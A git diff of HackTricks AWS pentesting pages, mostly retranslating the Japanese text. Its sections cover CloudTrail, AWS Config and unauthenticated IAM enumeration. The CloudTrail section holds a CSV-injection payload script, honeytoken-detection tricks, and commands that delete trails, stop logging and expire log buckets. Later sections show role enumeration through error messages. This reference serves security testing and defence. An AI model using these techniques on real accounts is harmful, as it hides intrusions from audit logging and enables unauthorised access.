| ## Access Advisor -AWS Access Advisorは、最後の400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して、**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。 +AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. > [!TIP] -> したがって、Access Advisorは**ユーザーに与えられている不必要な権限**について通知し、管理者がそれらを削除できるようにします +> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
@@ -122,10 +123,10 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` -### **CSVインジェクション** +### **CSV Injection** -CloudTrail内でCSVインジェクションを実行することが可能で、ログがCSV形式でエクスポートされ、Excelで開かれると任意のコードが実行されます。\ -次のコードは、ペイロードを含む悪いトレイル名のログエントリを生成します： +CloudTrail内でCSV Injectionを実行することが可能で、ログがCSVでエクスポートされてExcelで開かれると任意のコードを実行できます。\ +以下のコードは、payloadを含む不正なTrail名を持つログエントリを生成します: ```python import boto3 payload = "=cmd|'/C calc'|''" @@ -136,33 +137,33 @@ S3BucketName="random" ) print(response) ``` -より詳しい情報はCSVインジェクションについては、以下のページを確認してください： +CSV Injections について詳しくは次のページを参照してください: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html {{#endref}} -この特定の技術についての詳細は[https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)を確認してください。 +この特定の technique について詳しくは [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) を参照してください -## **検出の回避** +## **Detection の Bypass** -### HoneyTokens **回避** +### HoneyTokens **bypass** -Honeytokensは**機密情報の流出を検出するために作成されます**。AWSの場合、これらは**使用が監視されるAWSキー**です。そのキーでアクションがトリガーされると、誰かがそのキーを盗んだ可能性があります。 +Honeyokens は **sensitive information の exfiltration を detect** するために作成されます。AWS の場合、これは **使用が監視されている AWS keys** です。もしその key で何らかの action が発生すれば、その key は誰かに盗まれたはずです。 -しかし、[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)によって作成されたHoneytokensは、認識可能なアカウント名を使用するか、すべての顧客に対して同じAWSアカウントIDを使用しています。したがって、Cloudtrailにログを作成させることなくアカウント名やアカウントIDを取得できれば、**そのキーがHoneytokenかどうかを知ることができます**。 +しかし、[**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) のような Honeytokens は、識別可能な account name を使うか、すべての customer に同じ AWS account ID を使います。したがって、Cloudtrail に log を一切作らせずに account name や account ID を取得できれば、**その key が honeytoken かどうかを判別できます**。 -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属するかどうかを検出するためのいくつかのルールがあります：** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) には、その key が [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) に属するかどうかを detect するためのいくつかの rules があります:** -- **`canarytokens.org`**がロール名に表示されるか、エラーメッセージにアカウントID **`534261010715`**が表示される場合。 -- 最近テストしたところ、彼らはアカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。 -- エラーメッセージにロール名に**`SpaceCrab`**が表示される場合。 -- **SpaceSiren**はユーザー名を生成するために**uuids**を使用します：`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- **名前がランダムに生成されたように見える場合**、それはHoneyTokenである可能性が高いです。 +- **`canarytokens.org`** が role name に現れる、または account ID **`534261010715`** が error message に現れる場合。 +- 最近 testing したところ、彼らは account **`717712589309`** を使っており、名前にはまだ **`canarytokens.com`** の文字列があります。 +- error message の role name に **`SpaceCrab`** が現れる場合 +- **SpaceSiren** は **uuids** を使って username を生成します: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- **name がランダムに生成されたように見える** 場合、それが HoneyToken である可能性は高いです。 -#### キーIDからアカウントIDを取得する +#### Key ID から account ID を取得する -**アクセスキー**内に**エンコードされた**アカウントIDを取得することができ、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合してください： +[**ここで説明されている**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) ように、**access key** の中に **encoded** された **Account ID** を取得でき、あなたの Honeytokens AWS accounts の一覧と account ID を照合できます: ```python import base64 import binascii @@ -183,40 +184,40 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J ``` Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### ログを生成しない +#### Do not generate a log -最も効果的な技術は実際にはシンプルなものです。見つけたキーを使用して、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。 +これに対する最も効果的な technique は、実はとてもシンプルです。見つけたばかりの key を使って、自分の attacker account 内の何らかの service にアクセスするだけです。これにより **CloudTrail は被害者ではなく、あなた自身の AWS account 内に log を生成**します。 -出力には、アカウントIDとアカウント名を示すエラーが表示されるため、**それがHoneytokenであるかどうかを確認できます**。 +重要なのは、出力に account ID と account name を示す error が表示されることです。つまり、**Honeytoken かどうかを確認できる**ということです。 -#### ログなしのAWSサービス +#### AWS services without logs -過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**（ここに[リストを見つけてください](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)）。これらのサービスのいくつかは、無許可の者（ハニートークンキー）がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。 +以前は、**CloudTrail に logs を送信しない AWS services** がいくつかありました（[list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)）。その中には、認可されていないユーザー（honeytoken key）がアクセスしようとすると、**key role の ARN** を含む **error** を返すものがあります。 -この方法で、**攻撃者はログをトリガーすることなくキーのARNを取得できます**。ARNには**AWSアカウントIDと名前**が表示されるため、HoneyTokenの企業アカウントIDと名前を知るのは簡単で、攻撃者はトークンがHoneyTokenであるかどうかを特定できます。 +この方法では、**attacker は any log を trigger せずに ARN を取得**できます。ARN には **AWS account ID と name** が含まれているので、HoneyToken の company の account ID と name を簡単に知ることができ、attacker はその token が HoneyToken かどうかを識別できます。 -![](<../../../../images/image (93).png>) +![AWS CLI AccessDenied error for describe-fleets exposing the caller ARN in the response](<../../../../images/image (93).png>) > [!CAUTION] -> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、独自に見つける必要があるかもしれません... +> なお、CloudTrail logs を作成しないことが判明していた public APIs は現在すべて修正済みなので、もしかすると自分で見つける必要があります... > -> 詳細については、[**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。 +> 詳しくは [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) を確認してください。 -### 第三者インフラへのアクセス +### Accessing Third Infrastructure -特定のAWSサービスは、**データベース**や**Kubernetes**クラスター（EKS）などの**インフラを生成します**。ユーザーがこれらのサービス（Kubernetes APIなど）に直接話しかける場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。 +特定の AWS services は、**Databases** や **Kubernetes** clusters (EKS) のような infrastructure を**起動**します。ユーザーがそれらの service に直接（たとえば Kubernetes API に）話しかける場合、**AWS API は使われない**ため、CloudTrail はその communication を見ることができません。 -したがって、EKSにアクセスできるユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、**Cloudtrailに検出されることなくAPIサービスに直接話しかけることができます**。 +そのため、EKS にアクセスできるユーザーが EKS API の URL を発見した場合、token をローカルで生成して、**Cloudtrail に検知されずに API service に直接話しかける**ことができます。 -詳細は以下を参照してください： +More info in: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation/README.md {{#endref}} -### CloudTrail設定の変更 +### Modifying CloudTrail Config -#### トレイルの削除 +#### Delete trails ```bash aws cloudtrail delete-trail --name [trail-name] ``` @@ -224,11 +225,11 @@ aws cloudtrail delete-trail --name [trail-name] ```bash aws cloudtrail stop-logging --name [trail-name] ``` -#### マルチリージョンログを無効にする +#### multi-region logging を無効化する ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### イベントセレクタによるログの無効化 +#### Event Selectors による Logging の無効化 ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,41 +237,41 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -最初の例では、単一のイベントセレクターが単一のオブジェクトを持つJSON配列として提供されています。`"ReadWriteType": "ReadOnly"`は、**イベントセレクターが読み取り専用イベントのみをキャプチャするべきである**ことを示しています（したがって、CloudTrailのインサイトは**書き込み**イベントをチェックしません）。 +最初の例では、単一の event selector が、単一のオブジェクトを含む JSON 配列として提供されています。`"ReadWriteType": "ReadOnly"` は、**event selector が read-only イベントのみを取得するべき**ことを示します（そのため、CloudTrail insights は、たとえば write イベントを確認しません）。 -特定の要件に基づいてイベントセレクターをカスタマイズできます。 +event selector は、特定の要件に基づいてカスタマイズできます。 -#### S3ライフサイクルポリシーによるログの削除 +#### S3 lifecycle policy による logs の削除 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` ### バケット設定の変更 -- S3バケットを削除する -- CloudTrailサービスからの書き込みを拒否するようにバケットポリシーを変更する -- オブジェクトを削除するためにS3バケットにライフサイクルポリシーを追加する -- CloudTrailログを暗号化するために使用されるKMSキーを無効にする +- S3 bucketを削除する +- bucket policyを変更して、CloudTrail serviceからのすべての writes を拒否する +- S3 bucketに lifecycle policyを追加して objects を削除する +- CloudTrail logsの暗号化に使われている kms keyを無効化する -### Cloudtrailランサムウェア +### Cloudtrail ransomware -#### S3ランサムウェア +#### S3 ransomware -**非対称キーを生成**し、そのキーで**CloudTrailがデータを暗号化**し、**秘密鍵を削除**することでCloudTrailの内容を回復できなくすることができます。\ -これは基本的に**S3-KMSランサムウェア**で、以下に説明されています： +**asymmetric key**を生成し、**CloudTrailがデータをそのkeyで暗号化**するようにしてから、**private keyを削除**すれば、CloudTrailの内容は回復できなくなる。\ +これは基本的に **S3-KMS ransomware** で、以下で説明されている: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation/README.md {{#endref}} -**KMSランサムウェア** +**KMS ransomware** -これは、異なる権限要件で前述の攻撃を実行する最も簡単な方法です： +これは、前の攻撃を異なる権限要件で実行する最も簡単な方法です: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -## **参考文献** +## **References** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 9a403d95f..011d77d99 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,43 +4,43 @@ ## AWS Config -AWS Config **リソースの変更をキャプチャ**します。したがって、Configによってサポートされているリソースに対する変更はすべて記録され、**何が変更されたかとその他の有用なメタデータが記録され、構成アイテムとして知られるファイルに保持されます**。このサービスは**リージョン固有**です。 +AWS Config は**リソースの変更をキャプチャ**するため、Config でサポートされるリソースへの変更は記録でき、**何が変更されたかを他の有用な metadata とともに記録し、それらは configuration item と呼ばれるファイル、CI に保持**されます。この service は**region specific**です。 -構成アイテム、または**CI**として知られるものは、AWS Configの重要なコンポーネントです。これは、**構成情報、関係情報、およびサポートされているリソースの時点スナップショットビューとしてのその他のメタデータを保持するJSONファイル**で構成されています。AWS Configがリソースのために記録できるすべての情報はCI内にキャプチャされます。CIは、サポートされているリソースの構成に変更が加えられるたびに**毎回**作成されます。影響を受けたリソースの詳細を記録するだけでなく、AWS Configは、変更が他のリソースにも影響を与えなかったことを確認するために、直接関連するリソースのCIも記録します。 +configuration item あるいは **CI** は、AWS Config の重要なコンポーネントです。これは JSON ファイルで構成され、**サポートされるリソースの point-in-time snapshot view として、configuration information、relationship information、その他の metadata を保持**します。AWS Config があるリソースについて記録できる情報はすべて CI 内にキャプチャされます。CI は、サポートされるリソースの configuration に何らかの変更が加えられるたびに**毎回**作成されます。影響を受けたリソースの詳細を記録するだけでなく、その変更が他のリソースにも影響していないことを確認するため、AWS Config は直接関連するリソースの CI も記録します。 -- **メタデータ**: 構成アイテム自体に関する詳細を含みます。バージョンIDと構成IDがあり、これによりCIを一意に識別します。他の情報には、同じリソースに対して既に記録された他のCIと比較するためのMD5Hashが含まれる場合があります。 -- **属性**: 実際のリソースに対する一般的な**属性情報を保持します**。このセクション内には、ユニークなリソースIDとリソースに関連付けられた任意のキー値タグもあります。リソースタイプもリストされています。たとえば、これがEC2インスタンスのCIである場合、リストされるリソースタイプは、そのEC2インスタンスのネットワークインターフェースやエラスティックIPアドレスである可能性があります。 -- **関係**: リソースが持つ可能性のある接続された**関係に関する情報を保持します**。したがって、このセクション内では、このリソースが持つ他のリソースとの関係の明確な説明が表示されます。たとえば、CIがEC2インスタンスのものである場合、関係セクションには、EC2インスタンスが存在するサブネットとともにVPCへの接続が表示されるかもしれません。 -- **現在の構成:** これは、AWS CLIによって行われたdescribeまたはlist API呼び出しを実行した場合に生成されるのと同じ情報を表示します。AWS Configは、同じ情報を取得するために同じAPI呼び出しを使用します。 -- **関連イベント**: これはAWS CloudTrailに関連しています。これは、**このCIの作成を引き起こした変更に関連するAWS CloudTrailイベントIDを表示します**。リソースに対して行われた変更ごとに新しいCIが作成されます。その結果、異なるCloudTrailイベントIDが作成されます。 +- **Metadata**: configuration item 自体の詳細を含みます。CI を一意に識別する version ID と configuration ID。その他の情報には、同じ resource に対してすでに記録された他の CI と比較できる MD5Hash が含まれることがあります。 +- **Attributes**: 実際の resource に対する共通の **attribute information** を保持します。このセクションには、unique resource ID と、その resource に関連付けられた key value tags もあります。resource type も一覧表示されます。たとえば、これが EC2 instance の CI であれば、一覧に表示される resource types は network interface や、その EC2 instance の elastic IP address などです。 +- **Relationships**: resource が持つ可能性のある接続された **relationship** の情報を保持します。このセクションでは、その resource が他の resource と持つ relationship の明確な説明が表示されます。たとえば、CI が EC2 instance のものであれば、relationship セクションには、EC2 instance が存在する subnet とともに VPC への接続が表示される場合があります。 +- **Current configuration:** AWS CLI で describe または list API call を実行した場合に生成されるのと同じ情報を表示します。AWS Config は同じ情報を取得するために同じ API calls を使用します。 +- **Related events**: これは AWS CloudTrail に関連します。**この CI の作成を引き起こした変更に関連する AWS CloudTrail event ID** を表示します。resource に対して変更が行われるたびに新しい CI が作成されます。その結果、異なる CloudTrail event IDs が作成されます。 -**構成履歴**: 構成アイテムのおかげで、リソースの構成履歴を取得することが可能です。構成履歴は6時間ごとに配信され、特定のリソースタイプのすべてのCIが含まれます。 +**Configuration History**: configurations items により、resource の configuration history を取得できます。Configuration history は 6 時間ごとに配信され、特定の resource type に対するすべての CI を含みます。 -**構成ストリーム**: 構成アイテムはSNSトピックに送信され、データの分析を可能にします。 +**Configuration Streams**: data の analysis を有効にするため、configuration items は SNS Topic に送信されます。 -**構成スナップショット**: 構成アイテムは、すべてのサポートされているリソースの時点スナップショットを作成するために使用されます。 +**Configuration Snapshots**: configuration items は、サポートされるすべての resources の point in time snapshot を作成するために使用されます。 -**S3は**構成履歴ファイルとデータの構成スナップショットを単一のバケット内に保存するために使用され、これは構成レコーダー内で定義されます。複数のAWSアカウントがある場合、主要アカウントの同じS3バケットに構成履歴ファイルを集約したい場合があります。ただし、このサービスプリンシパルconfig.amazonaws.comと、主要アカウントのS3バケットへの書き込みアクセスを持つ二次アカウントに書き込みアクセスを付与する必要があります。 +**S3 is used to store** Configuration History files と、Configuration recorder 内で定義された単一の bucket にある data の Configuration snapshots を保存します。複数の AWS accounts がある場合、primary account の同じ S3 bucket に configuration history files を集約したいことがあります。ただし、この service principle、config.amazonaws.com、および secondary accounts に対して、primary account の S3 bucket への write access を付与する必要があります。 -### 機能 +### Functioning -- 変更を加えると、たとえばセキュリティグループやバケットアクセス制御リストに対して —> AWS Configによって取得されるイベントとして発火します -- すべてをS3バケットに保存します -- 設定によっては、何かが変更されると、それがラムダ関数をトリガーするか、ラムダ関数をスケジュールしてAWS Config設定を定期的に確認することができます -- ラムダはConfigにフィードバックします -- ルールが破られた場合、ConfigはSNSを発火させます +- 変更を行うと、たとえば security group や bucket access control list に対して —> AWS Config によって拾われる Event として発火する +- すべてを S3 bucket に保存する +- 設定によっては、何かが変更されるとすぐに lambda function をトリガーするか、あるいは AWS Config settings を定期的に確認するように lambda function をスケジュールする +- Lambda が Config にフィードバックする +- rule が破られていれば、Config が SNS を起動する -![](<../../../../images/image (126).png>) +![AWS Config functioning diagram showing events flowing through Config rules to event targets and investigation](<../../../../images/image (126).png>) -### Configルール +### Config Rules -Configルールは、**リソース全体で特定のコンプライアンスチェック** **およびコントロールを強制するのに役立つ素晴らしい方法であり、各リソースタイプに対して理想的なデプロイメント仕様を採用することを可能にします**。各ルールは、**本質的にラムダ関数であり**、呼び出されるとリソースを評価し、ルールに対するコンプライアンス結果を決定するための簡単なロジックを実行します。**サポートされているリソースのいずれかに変更が加えられるたびに、AWS Configは、設定されたConfigルールに対するコンプライアンスをチェックします**。\ -AWSには、使用する準備が整ったセキュリティの傘下にある**事前定義されたルール**がいくつかあります。たとえば、Rds-storage-encrypted。これは、RDSデータベースインスタンスによってストレージ暗号化が有効になっているかどうかを確認します。Encrypted-volumes。これは、接続状態のEBSボリュームが暗号化されているかどうかを確認します。 +Config rules は、**特定の compliance checks** と **resources 全体にわたる controls を強制**するのに役立つ優れた方法であり、各 resource type に対して理想的な deployment specification を採用することを可能にします。各 rule は**本質的には lambda function**であり、呼び出されると resource を評価し、簡単な logic を実行して rule に対する compliance result を判定します。**サポートされる resources のいずれかに変更が加えられるたびに**、**AWS Config は設定済みの config rules に対する compliance をチェックします**。\ +AWS には security umbrella に含まれる、すぐに使える **predefined rules** がいくつかあります。たとえば、Rds-storage-encrypted。これは RDS database instances によって storage encryption が有効になっているかを確認します。Encrypted-volumes。これは attached state にある EBS volumes が encryption されているかを確認します。 -- **AWS管理ルール**: 多くのベストプラクティスをカバーする事前定義されたルールのセットであり、独自のルールを設定する前にこれらのルールを確認する価値があります。ルールがすでに存在する可能性があります。 -- **カスタムルール**: 特定のカスタム構成をチェックするために独自のルールを作成できます。 +- **AWS Managed rules**: 多くの best practices をカバーする predefined rules のセットなので、独自のものを設定する前にまずこれらの rules を確認する価値があります。rule がすでに存在している可能性があるためです。 +- **Custom rules**: 特定の customconfigurations を確認する独自の rules を作成できます。 -リージョンごとに50のConfigルールの制限があり、増加が必要な場合はAWSに連絡する必要があります。\ -非準拠の結果は削除されません。 +region ごとの config rules の上限は 50 で、それ以上必要な場合は AWS に増加を依頼する必要があります。\ +Non compliant の結果は削除されません。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index a1ed81ce9..d2a8fe521 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,11 +1,11 @@ -# AWS - Unauthenticated Enum & Access +# AWS - 認証なし Enum & Access {{#include ../../../banners/hacktricks-training.md}} ## AWS Credentials Leaks -AWSアカウントへのアクセスや情報を得る一般的な方法は、**searching for leaks**です。**google dorks**を使ったり、**Github**などのプラットフォーム上で組織や従業員の**public repos**を確認したり、**credentials leaks databases**を検索したり… 企業やそのクラウドインフラに関する情報が見つかりそうなあらゆる場所を調べてください。 -いくつかの便利な**tools**: +AWS account への access や情報を得る一般的な方法の1つは、**leak を検索する**ことです。**google dorks**、**organization** の **public repos** や **Github** や他のプラットフォーム上の organization の **workers** を確認する、**credentials leaks databases** を検索する... あるいは会社とその cloud infa に関する情報が見つかりそうな他のあらゆる場所を探せます。\ +役立つ **tools**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) @@ -13,7 +13,7 @@ AWSアカウントへのアクセスや情報を得る一般的な方法は、** ## AWS Unauthenticated Enum & Access -AWSには、全インターネットから、あるいは想定より多くの人々にアクセスを与えるように設定されうるサービスがいくつかあります。以下を確認してください: +AWS には、すべての Internet、または想定より多くの人に対して何らかの access を与えるように設定できる service がいくつかあります。以下で確認してください: - [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum/index.html) - [**API Gateway Unauthenticated Enum**](aws-api-gateway-unauthenticated-enum/index.html) @@ -42,19 +42,19 @@ AWSには、全インターネットから、あるいは想定より多くの ## Cross Account Attacks -講演 [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、アカウントIDを指定しない **AWS services without specifying accounts ID** が許可されていたため、任意のAWSアカウントがそれらのサービスにアクセスできてしまった事例が紹介されています。 +トーク [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、**AWS services without specifying accounts ID** が許可されていたため、いくつかの service が any AWS account の access を許していた（許していた可能性がある）ことが紹介されています。 -講演では、S3バケットが**allowing cloudtrai**l (of **any AWS** account) to **write to them**など、いくつかの例が挙げられています: +トークでは、S3 buckets が **allowing cloudtrai**l（**any AWS** account の）に **write to them** させる例など、いくつかの例が示されています: -![](<../../../images/image (260).png>) +![S3 bucket policy JSON allowing the CloudTrail service principal to write objects](<../../../images/image (260).png>) -その他脆弱性が見つかったサービス: +他にも脆弱だと判明した service: - AWS Config - Serverless repository ## Tools -- [**cloud_enum**](https://github.com/initstring/cloud_enum): マルチクラウドのOSINTツール。**Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. AWS、Azure、Google Cloud で **public resources** を見つける。対応している AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md index 1efe59c9b..3bbbeac51 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -2,42 +2,42 @@ {{#include ../../../../banners/hacktricks-training.md}} -## アカウント内の Roles & Usernames を列挙 +## アカウント内の Roles と Usernames を列挙する -### ~~Assume Role Brute-Force~~ +### ~~Assume Role ブルートフォース~~ > [!CAUTION] -> **この手法はもはや機能しません。** role が存在するかどうかに関係なく、常に次のエラーが返されます: +> **この technique はもう動きません**。role が存在するかどうかに関係なく、常に次の error が返されるためです: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> 以下を実行して **確認できます**: +> 次のコマンドを**実行して test**できます: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -必要な権限なしで **role を assume** しようとすると、AWS のエラーメッセージが返されます。例えば、認可されていない場合、AWS は次のようなメッセージを返すことがあります: +必要な permissions なしで **role を assume しようとすると**、AWS の error message が発生します。たとえば、unauthorized なら、AWS は次を返すことがあります: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -このメッセージはロールの存在を確認しますが、その assume role policy によってあなたがそのロールを assume することは許可されていないことを示しています。対照的に、**assume a non-existent role leads to a different error**: +このメッセージはその role の存在を確認しますが、その assume role policy ではあなたの assumption が許可されていないことを示します。対照的に、**存在しない role を assume しようとすると別のエラーになります**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +興味深いことに、この**既存ロールと非存在ロールを見分ける**方法は、異なる AWS アカウント間でも適用できます。有効な AWS アカウント ID と対象の wordlist があれば、固有の制限に直面することなく、そのアカウント内に存在する roles を列挙できます。 -You can use this [潜在的なプリンシパルを列挙するためのスクリプト](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +この問題を悪用して、[潜在的な principals を列挙するためのこの script](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) を使えます。 ### Trust Policies: Brute-Force Cross Account roles and users -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +**IAM role の trust policy を設定または更新する際には、どの AWS resources または services がその role を assume して一時的な credentials を取得できるかを定義します**。policy で指定された resource が**存在する**場合、trust policy は**正常に保存**されます。しかし、resource が**存在しない**場合、**エラー**が生成され、無効な principal が指定されたことを示します。 > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> その resource では、cross account role または user を指定できます: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: +これは policy の例です: ```json { "Version": "2012-10-17", @@ -54,9 +54,9 @@ This is a policy example: ``` #### GUI -それは、**エラー**で、**存在しないロール**を使用した場合に表示されるものです。ロールが**存在する**場合、ポリシーはエラーなく**保存**されます。（このエラーは更新時のものですが、作成時にも同様に発生します） +これは、**存在しない** **role** を使った場合に表示される**error**です。role が**存在する**場合、policy は**error**なく**saved**されます。（この error は update 用ですが、作成時にも機能します） -![](<../../../images/image (153).png>) +![AWS IAM edit trust policy page showing an invalid principal error for a non-existent role ARN](<../../../images/image (153).png>) #### CLI ```bash @@ -91,19 +91,19 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` -このプロセスは [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) で自動化できます +You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -または [Pacu](https://github.com/RhinoSecurityLabs/pacu) を使用: +Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 